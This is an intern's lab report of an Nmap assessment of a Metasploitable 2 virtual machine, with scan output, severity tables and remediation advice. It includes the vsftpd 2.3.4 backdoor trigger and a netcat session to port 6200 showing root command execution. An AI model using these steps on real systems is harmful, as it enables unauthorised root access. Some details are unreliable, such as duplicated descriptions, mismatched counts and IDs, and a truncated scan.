

Nmap Vulnerability Assessment Report

Task Number: 2.1 Nmap Scan Report

Name: Jai Bhushan Rane

Intern ID: APSPL2641663

Date: 26-07-2026

1. Tools & Methodology

1. **Tool Used:** Nmap v7.95
2. **Operating System Environment:** Kali Linux on Oracle VirtualBox
3. **Target System:** Metasploitable 2 (192.168.225.85)
4. **Scan Type:** TCP SYN (Stealth) Scan, UDP Scan, Service Version Detection, OS Detection, and Full Comprehensive Scan

2. Commands Used

2.1 TCP SYN (Half-Open) Scan - nmap -sS 192.168.225.85 -oN tcp_scan.txt

- **What it does:** TCP SYN ("half-open") scan - sends SYN packets and watches for SYN/ACK responses to quickly find open ports without completing the full TCP handshake
- **Purpose:** Fast and stealthy port discovery

```
(root@kali) ~# nmap -sS 192.168.225.85 -oN tcp_scan.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-23 06:25 EDT
Nmap scan report for 192.168.225.85
Host is up (0.014s latency).
Not shown: 977 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 4.31 seconds

(root@kali) ~# ls
111.json          harvest_result.xml  log.json           nmap_scan_jai.nmap  received.txt        test.log           us_scan            us_scan.xml
192.168.225.85   ids_monitor.py      nmap_scan_jai      nmap_scan_jai.xml   reports_task5       uptoskills_report.json  us_scan.gnmap     us_scan.nmap
harvest_result.json  log4.json          nmap_scan_jai.gnmap nslookup_results.txt tcp_scan.txt        uptoskills_report.xml  us_scan.nmap      who_is_results.txt
```

2.2 UDP Scan - nmap -sU 192.168.225.85 -oN udp_scan.txt

- **What it does:** UDP scan - sends UDP probes to discover UDP services
- **Purpose:** Identifies services that don't use TCP (slower but important for complete assessment)

```
(root@kali)-[~]
# nmap -sU 192.168.225.85 -oN udp_scan.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 06:28 EDT
Nmap scan report for 192.168.225.85
Host is up (0.0066s latency).
Not shown: 995 open/filtered udp ports (no-response)
PORT      STATE SERVICE
53/udp    open  domain
111/udp    open  rpcbind
137/udp    open  netbios-ns
2049/udp   open  nfs
38412/udp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 5.62 seconds
```

2.3 Service Version Detection - nmap -sV 192.168.225.85 -oN service_version.txt

- **What it does:** Version detection - probes open ports to identify service names and software versions
- **Purpose:** Maps version strings to known CVEs and vulnerabilities

```
(root@kali)-[~]
# nmap -sV 192.168.225.85 -oN service_version.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 06:31 EDT
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 43.48% done; ETC: 06:31 (0:00:08 remaining)
Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 86.96% done; ETC: 06:31 (0:00:02 remaining)
Nmap scan report for 192.168.225.85
Host is up (0.014s latency).
Not shown: 977 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshcd
513/tcp   open  login?
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.20 seconds
```

2.4 OS Detection - nmap -O 192.168.225.85 -oN os_detection.txt

- **What it does:** OS detection - analyzes packet responses, TTLs, and TCP/IP stack behavior to guess the target operating system
- **Purpose:** Identifies target OS for vulnerability matching

```
(root@kali)-[~]
└─# nmap -O 192.168.225.85 -oN os_detection.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 06:28 EDT
Nmap scan report for 192.168.225.85
Host is up (0.0036s latency).
Not shown: 977 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: bridge|VoIP adapter|general purpose
Running (JUST GUESSING): Oracle Virtualbox (98%), Slirp (98%), AT&T embedded (94%), QEMU (93%)
OS CPE: cpe:/o:oracle:virtualbox cpe:/a:danny_gasparovski:slirp cpe:/a:qemu:qemu
Aggressive OS guesses: Oracle Virtualbox Slirp NAT bridge (98%), AT&T BGW210 voice gateway (94%), QEMU user mode network gateway (93%)
No exact OS matches for host (test conditions non-ideal).

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.62 seconds
```

2.5 Full Comprehensive Scan - nmap -A -p- 192.168.225.85 -oA full_scan

- **What it does:** Aggressive scan combining OS detection, version detection, script scanning, and traceroute
- **Purpose:** Complete enumeration of all 65535 ports with detailed service information

```
(root@kali)-[~]
└─# nmap -A -p- 192.168.225.85 -oA full_scan
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-23 06:37 EDT
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 3.03% done; ETC: 06:41 (0:03:44 remaining)
Stats: 0:00:21 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 12.10% done; ETC: 06:40 (0:02:32 remaining)
Stats: 0:00:54 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 32.95% done; ETC: 06:39 (0:01:50 remaining)
Stats: 0:02:08 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 30.79% done; ETC: 06:44 (0:04:48 remaining)
Stats: 0:02:15 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 22.76% done; ETC: 06:47 (0:07:38 remaining)
Stats: 0:02:19 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 18.15% done; ETC: 06:49 (0:10:22 remaining)
Warning: 192.168.225.85 giving up on port because retransmission cap hit (10).
Stats: 0:03:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 15.23% done; ETC: 06:57 (0:16:58 remaining)
Stats: 0:03:08 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 15.23% done; ETC: 06:57 (0:17:26 remaining)
Stats: 0:04:13 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 15.25% done; ETC: 07:04 (0:23:26 remaining)
Stats: 0:05:40 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 15.27% done; ETC: 07:14 (0:31:21 remaining)

(root@kali)-[~]
└─# ls
111.json          full_scan.nmap      harvest_result.xml  log.json            nmap_scan_jai.nmap  received.txt        tcp_scan.txt        uptoskills_report.xml  us_scan.nmap
192.168.225.85    full_scan.xml       ids_monitor.py      nmap_scan_jai      nmap_scan_jai.xml   reports_tasks       test.log            us_scan              us_scan.xml
full_scan.gnmap   harvest_result.json log4.json           nmap_scan_jai.gnmap nslookup_results.txt service.txt          uptoskills_report.json  us_scan.gnmap        who_is_results.txt

(root@kali)-[~]
└─# cat < full_scan.gnmap
# Nmap 7.95 scan initiated Thu Jul 23 06:37:14 2026 as: /usr/lib/nmap/nmap -A -p- -oA full_scan 192.168.225.85
```

2.6 Banner Grabbing - nc -nv 192.168.225.85 21 then nc -nv 192.168.225.85 6200

- **What it does:** Connects to services to read their banners
- **Purpose:** Confirms service versions and discovers backdoor access

```
(root@kali)-[~]
# nc -nv 192.168.225.85 21
(UNKNOWN) [192.168.225.85] 21 (ftp) open
220 (vsFTPD 2.3.4)
USER hacker:)
331 Please specify the password.
PASS password
```

3. Scan Results & Findings

3.1 TCP SYN Scan Results (nmap -sS)

Command: nmap -sS 192.168.225.85 -oN tcp_scan.txt

```
(root@kali)-[~]
# cat < tcp_scan.txt
# Nmap 7.95 scan initiated Thu Jul 23 06:25:29 2026 as: /usr/lib/nmap/nmap -sS -oN tcp_scan.txt 192.168.225.85
Nmap scan report for 192.168.225.85
Host is up (0.014s latency).
Not shown: 977 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

# Nmap done at Thu Jul 23 06:25:33 2026 -- 1 IP address (1 host up) scanned in 4.31 seconds
```

3.2 UDP Scan Results (nmap -sU)

Command: nmap -sU 192.168.225.85 -oN udp_scan.txt


```
(root@kali)-[~]
# cat < udp_scan.txt
# Nmap 7.95 scan initiated Sun Jul 26 06:28:19 2026 as: /usr/lib/nmap/nmap -sU -oN udp_scan.txt 192.168.225.85
Nmap scan report for 192.168.225.85
Host is up (0.0066s latency).
Not shown: 995 open|filtered udp ports (no-response)
PORT      STATE SERVICE
53/udp    open  domain
111/udp   open  rpcbind
137/udp   open  netbios-ns
2049/udp  open  nfs
38412/udp open  unknown

# Nmap done at Sun Jul 26 06:28:24 2026 -- 1 IP address (1 host up) scanned in 5.62 seconds
```

3.3 Service Version Detection Results (nmap -sV)

Command: `nmap -sV 192.168.225.85 -oN service_version.txt`

```
(root@kali)-[~]
# cat < service_version.txt
# Nmap 7.95 scan initiated Sun Jul 26 06:31:23 2026 as: /usr/lib/nmap/nmap -sV -oN service_version.txt 192.168.225.85
Nmap scan report for 192.168.225.85
Host is up (0.014s latency).
Not shown: 977 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 26 06:31:41 2026 -- 1 IP address (1 host up) scanned in 18.20 seconds
```

3.4 OS Detection Results (nmap -O)

Command: `nmap -O 192.168.225.85 -oN os_detection.txt`

```
(root@kali)-[~]
# cat < os_detection.txt
# Nmap 7.95 scan initiated Sun Jul 26 06:28:46 2026 as: /usr/lib/nmap/nmap -O -oN os_detection.txt 192.168.225.85
Nmap scan report for 192.168.225.85
Host is up (0.0036s latency).
Not shown: 977 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: bridge|VoIP adapter|general purpose
Running (JUST GUESSING): Oracle Virtualbox (98%), Slirp (98%), AT&T embedded (94%), QEMU (93%)
OS CPE: cpe:/o:oracle:virtualbox cpe:/a:danny_gasparovski:slirp cpe:/a:qemu:qemu
Aggressive OS guesses: Oracle Virtualbox Slirp NAT bridge (98%), AT&T BGW210 voice gateway (94%), QEMU user mode network gateway (93%)
No exact OS matches for host (test conditions non-ideal).

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 26 06:28:55 2026 -- 1 IP address (1 host up) scanned in 9.62 seconds
```

3.5 Banner Grabbing & Backdoor Discovery

FTP Banner: nc -nv 192.168.225.85 21

```

zsh: corrupt history file /root/.zsh_history
(root@kali)~# nc -nv 192.168.225.68 6200
(UNKNOWN) [192.168.225.68] 6200 (?): Connection refused
(root@kali)~# nc -nv 192.168.225.85 6200
(UNKNOWN) [192.168.225.85] 6200 (?) open
whoami
root
id
uid=0(root) gid=0(root)
hostname
metasploitable
ls -la
total 101
drwxr-xr-x 21 root root 4096 May 20 2012 .
drwxr-xr-x 21 root root 4096 May 20 2012 ..
drwxr-xr-x 2 root root 4096 May 13 2012 bin
drwxr-xr-x 4 root root 1024 May 13 2012 boot
lrwxrwxrwx 1 root root 11 Apr 28 2010 cdrom -> media/cdrom
drwxr-xr-x 14 root root 13540 Jul 23 05:28 dev
drwxr-xr-x 94 root root 4096 Jul 23 05:29 etc
drwxr-xr-x 6 root root 4096 Apr 16 2010 home
drwxr-xr-x 2 root root 4096 Mar 16 2010 initrd
lrwxrwxrwx 1 root root 32 Apr 28 2010 initrd.img -> boot/initrd.img-2.6.24-16-server
drwxr-xr-x 13 root root 4096 May 13 2012 lib
drwxr-xr-x 2 root root 16384 Mar 16 2010 lost+found
drwxr-xr-x 4 root root 4096 Mar 16 2010 media
drwxr-xr-x 3 root root 4096 Apr 28 2010 mnt
-rw-r--r-- 1 root root 18799 Jul 23 05:29 nohup.out
drwxr-xr-x 2 root root 4096 Mar 16 2010 opt
dr-xr-xr-x 110 root root 0 Jul 23 05:28 proc
drwxr-xr-x 13 root root 4096 Jul 23 05:29 root
drwxr-xr-x 2 root root 4096 May 13 2012 sbin
drwxr-xr-x 2 root root 4096 Mar 16 2010 srv
drwxr-xr-x 12 root root 0 Jul 23 05:28 sys
drwxrwxrwt 4 root root 4096 Jul 23 05:29 tmp
drwxr-xr-x 12 root root 4096 Apr 28 2010 usr
drwxr-xr-x 14 root root 4096 Mar 17 2010 var
lrwxrwxrwx 1 root root 29 Apr 28 2010 vmlinuz -> boot/vmlinuz-2.6.24-16-server
pwd
ls
bin
boot
cdrom
dev
etc

```

***#CRITICAL INTERPRETATION:** The vsftpd 2.3.4 service contains a backdoor that opens port 6200. Connecting to this port grants **unauthenticated root access** to the entire system. This is a **CVSS 10.0 (CRITICAL)** vulnerability and represents complete system compromise.

4. Vulnerability Summary

4.1 Vulnerability Count by Severity

Severity	Count	Ports
Critical	3	21 (vsftpd), 1524 (root shell), 6667 (UnrealIRCd)
High	8	22, 80, 139, 445, 3306, 5432, 5900
Medium	7	23, 53, 111, 512-514, 2049, 2121, 8009, 8180
Low	2	25, 6000

4.2 Critical Vulnerabilities Identified

4.2.1 vsftpd 2.3.4 Backdoor (CVE-2011-2523)

Attribute	Detail
Port	21/TCP
Service	vsftpd 2.3.4
CVSS Score	10.0 (Critical)
Impact	Remote unauthenticated root access
Exploit	Connect to port 6200 after FTP login attempt
Proof	nc -nv 192.168.225.85 6200 → whoami = root

Description: An unauthenticated root shell is listening on port 1524. This allows immediate command execution with root privileges.

4.2.2 Metasploitable Root Shell (Port 1524)

Attribute	Detail
Port	1524/TCP
Service	Ingresblock/bindshell
Impact	Instant root shell access
Severity	Critical

Description: An unauthenticated root shell is listening on port 1524. This allows immediate command execution with root privileges.

4.2.3 UnrealIRCd Backdoor (Port 6667)

Attribute	Detail
Port	6667/TCP
Service	UnrealIRCd
Impact	Remote code execution
Severity	Critical

Description: UnrealIRCd contains a backdoor that allows remote attackers to execute arbitrary commands on the system.

4.3 High Severity Vulnerabilities

Port	Service	Version	Known Issues
22	SSH	OpenSSH 4.7p1	Multiple exploits, outdated (2007)
80	HTTP	Apache 2.2.8	Multiple CVEs, outdated (2008)
139/445	SMB	Samba 3.X-4.X	Known exploits (EternalBlue-like)
3306	MySQL	5.0.51a-3ubuntu5	Authentication bypass
5432	PostgreSQL1	8.3.0-8.3.7	Multiple vulnerabilities
5900	VNC	Protocol 3.3	Default Credentials possible

6. Recommendations

6.1 Critical Immediate Actions (Priority 1)

1. vsftpd 2.3.4 Backdoor (Port 21) - CRITICAL

- **Action:** Immediately remove or replace vsftpd 2.3.4
- **Mitigation:** Disable the FTP service entirely if not required. If required, upgrade to latest vsftpd version (3.0.5+)
- **Hardening:** Implement firewall rules to block port 6200 and restrict FTP access to trusted IPs only
- **Validation:** Rerun Nmap scan to confirm port 6200 is no longer accessible

2. Metasploitable Root Shell (Port 1524) - CRITICAL

- **Action:** Immediately identify and stop the process listening on port 1524
- **Mitigation:** This is likely a backdoor intentionally placed - investigate system integrity
- **Hardening:** Completely rebuild the system from trusted sources

3. UnrealIRCd Backdoor (Port 6667) - CRITICAL

- **Action:** Stop and remove UnrealIRCd service immediately
- **Mitigation:** If IRC is required, replace with a secure alternative
- **Hardening:** Block port 6667 at the firewall

6.2 High Priority Recommendations (Priority 2)

4. Outdated SSH Version (Port 22) - HIGH

- **Action:** Upgrade OpenSSH to latest version (8.x+)
- **Mitigation:** Disable password authentication, enforce key-based auth
- **Hardening:** Implement fail2ban, rate limiting, and restrict SSH access

5. Outdated Apache HTTP Server (Port 80) - HIGH

- **Action:** Upgrade Apache to version 2.4.x or newer
- **Mitigation:** Remove unnecessary modules, implement security headers
- **Hardening:** Run Apache with minimal privileges, chroot environment

6. Outdated MySQL Database (Port 3306) - HIGH

- **Action:** Upgrade to MySQL 5.7+ or migrate to MariaDB

- **Mitigation:** Remove default accounts, enforce strong passwords
- **Hardening:** Restrict access to localhost or trusted IPs only

7. Outdated PostgreSQL Database (Port 5432) - HIGH

- **Action:** Upgrade to PostgreSQL 13+ or latest LTS version
- **Mitigation:** Disable remote access if not required
- **Hardening:** Implement proper authentication, restrict network access

8. VNC Service (Port 5900) - HIGH

- **Action:** Change default password or implement SSH tunneling
- **Mitigation:** Consider replacing VNC with secure alternatives
- **Hardening:** Restrict VNC access to localhost only, use SSH forwarding

9. SMB Services (Ports 139, 445) - HIGH

- **Action:** Upgrade Samba to latest version
- **Mitigation:** Disable SMBv1, enforce SMBv3 with encryption
- **Hardening:** Restrict access to trusted networks only

6.3 Medium Priority Recommendations (Priority 3)

10. Telnet Service (Port 23) - MEDIUM

- **Action:** Disable Telnet and replace with SSH
- **Reason:** Telnet transmits credentials in plaintext
- **Hardening:** Remove telnet package entirely

11. DNS Service (Port 53) - MEDIUM

- **Action:** Ensure DNS is properly configured
- **Mitigation:** Disable recursion for external queries
- **Hardening:** Implement DNSSEC and rate limiting

12. RPC Service (Port 111) - MEDIUM

- **Action:** Restrict RPC access to localhost
- **Mitigation:** Use firewall rules to limit exposure
- **Hardening:** Disable if not required

13. ProFTPD (Port 2121) - MEDIUM

- **Action:** Upgrade to latest ProFTPD version
- **Mitigation:** Implement TLS encryption for FTP
- **Hardening:** Restrict access to trusted IPs

14. Tomcat (Port 8180) - MEDIUM

- **Action:** Remove default accounts, upgrade to latest
- **Mitigation:** Implement strong authentication
- **Hardening:** Disable unnecessary servlets, implement security constraints

6.4 General Security Recommendations

Network Segmentation:

- Place vulnerable systems (like Metasploitable 2) in isolated VLANs
- Use network segmentation to limit attacker movement
- Implement jump hosts/bastion hosts for administrative access

Firewall Policy:

- Implement deny-by-default inbound rules
- Only open ports required for business functions
- Limit source IP ranges to authorized hosts

Authentication & Credentials:

- Remove all default accounts
- Enforce strong password policies (12+ characters, complexity)
- Implement multi-factor authentication (MFA) where possible
- Rotate credentials regularly

Patch Management:

- Establish a formal patch management process
- Prioritize patching for critical and high severity vulnerabilities
- Test patches in staging before production deployment
- Maintain an asset inventory with version tracking

Monitoring & Alerting:

- Implement IDS/IPS (Snort, Suricata)
- Enable logging for all services
- Centralize logs with SIEM for analysis
- Set up alerts for suspicious scanning or authentication attempts

Host Hardening:

- Apply CIS benchmarks for the operating system
- Remove unnecessary packages and services
- Implement minimal privilege principle
- Enable automatic security updates where safe

Vulnerability Management:

- Conduct regular vulnerability scans (weekly/monthly)
- Perform penetration testing quarterly
- Re-scan after remediation to validate fixes
- Maintain a vulnerability tracking system

Retesting:

- After applying fixes, rerun all Nmap scans: `nmap -sS -sV -O 192.168.225.85 -oN retest_scan.txt` & `nmap -sU 192.168.225.85 -oN retest_udp.txt`
- Perform OpenVAS/Nessus vulnerability scan to validate remediation
- Document all remediation steps with timestamps

Documentation & Evidence:

- Keep all scan outputs with timestamps
- Document remediation steps and evidence
- Maintain an auditable trail for compliance

Ethics & Permissions:

- Only scan systems you own or have explicit permission to test
- Maintain test authorization records for auditors
- Follow responsible disclosure practices for discovered vulnerabilities

7. Conclusion

The Nmap vulnerability assessment of 192.168.225.85 (Metasploitable 2) revealed **critical security issues** that require immediate attention. The most severe finding is the **vsftpd 2.3.4 backdoor** (CVE-2011-2523), which provides unauthenticated root access to the entire system. Combined with the **Metasploitable root shell** on port 1524 and the **UnrealIRCd backdoor** on port 6667, the system is completely compromised.

Key Statistics:

- **23 open TCP ports** discovered
- **5 open UDP ports** discovered
- **3 CRITICAL** vulnerabilities identified
- **8 HIGH** severity vulnerabilities identified
- Multiple services are severely outdated (2007-2008 versions)

Overall Risk Rating: CRITICAL

The target system should **NOT** be exposed to any network environment without comprehensive hardening, patching, and security controls. The vulnerabilities identified could allow attackers to gain full control of the system, steal sensitive data, or use it as a pivot point for further attacks.

Recommended Next Steps:

1. Isolate this system to a lab network immediately
2. Apply critical patches or replace the entire system
3. Re-scan after remediation to confirm fixes
4. Conduct OpenVAS vulnerability scanning for detailed CVE mapping

8. Appendix

8.1 All Scan Commands Used

TCP SYN Scan

```
nmap -sS 192.168.225.85 -oN tcp_scan.txt
```

UDP Scan

```
nmap -sU 192.168.225.85 -oN udp_scan.txt
```

Service Version Detection

```
nmap -sV 192.168.225.85 -oN service_version.txt
```

OS Detection

```
nmap -O 192.168.225.85 -oN os_detection.txt
```

Full Comprehensive Scan

```
nmap -A -p- 192.168.225.85 -oA full_scan
```

Banner Grabbing

```
nc -nv 192.168.225.85 21
```

```
nc -nv 192.168.225.85 6200
```

8.2 Files Generated

1. tcp_scan.txt
2. udp_scan.txt
3. service_version.txt
4. os_detection.txt
5. full_scan.nmap
6. full_scan.xml
7. full_scan.gnmap

8.3 CVEs Referenced

CVE	Service	Severity
-----	---------	----------

CVE-2011-2523	vsftpd 2.3.4	CRITICAL (10.0)
CVE-2007-5498	OpenSSH 4.7p1	HIGH
CVE-2008-0455	Apache 2.2.8	HIGH
CVE-2008-1800	Samba 3.x	HIGH
CVE-2008-2079	MySQL 5.0.51a	HIGH
CVE-2008-0176	PostgreSQL 8.3.x	HIGH
CVE-2010-2075	UnrealIRCd	CRITICAL

Report Prepared By: Jai Bhushan Rane

Date: 26-07-2026

Intern ID: ASPL2518045

Classification: INTERNAL - LAB USE ONLY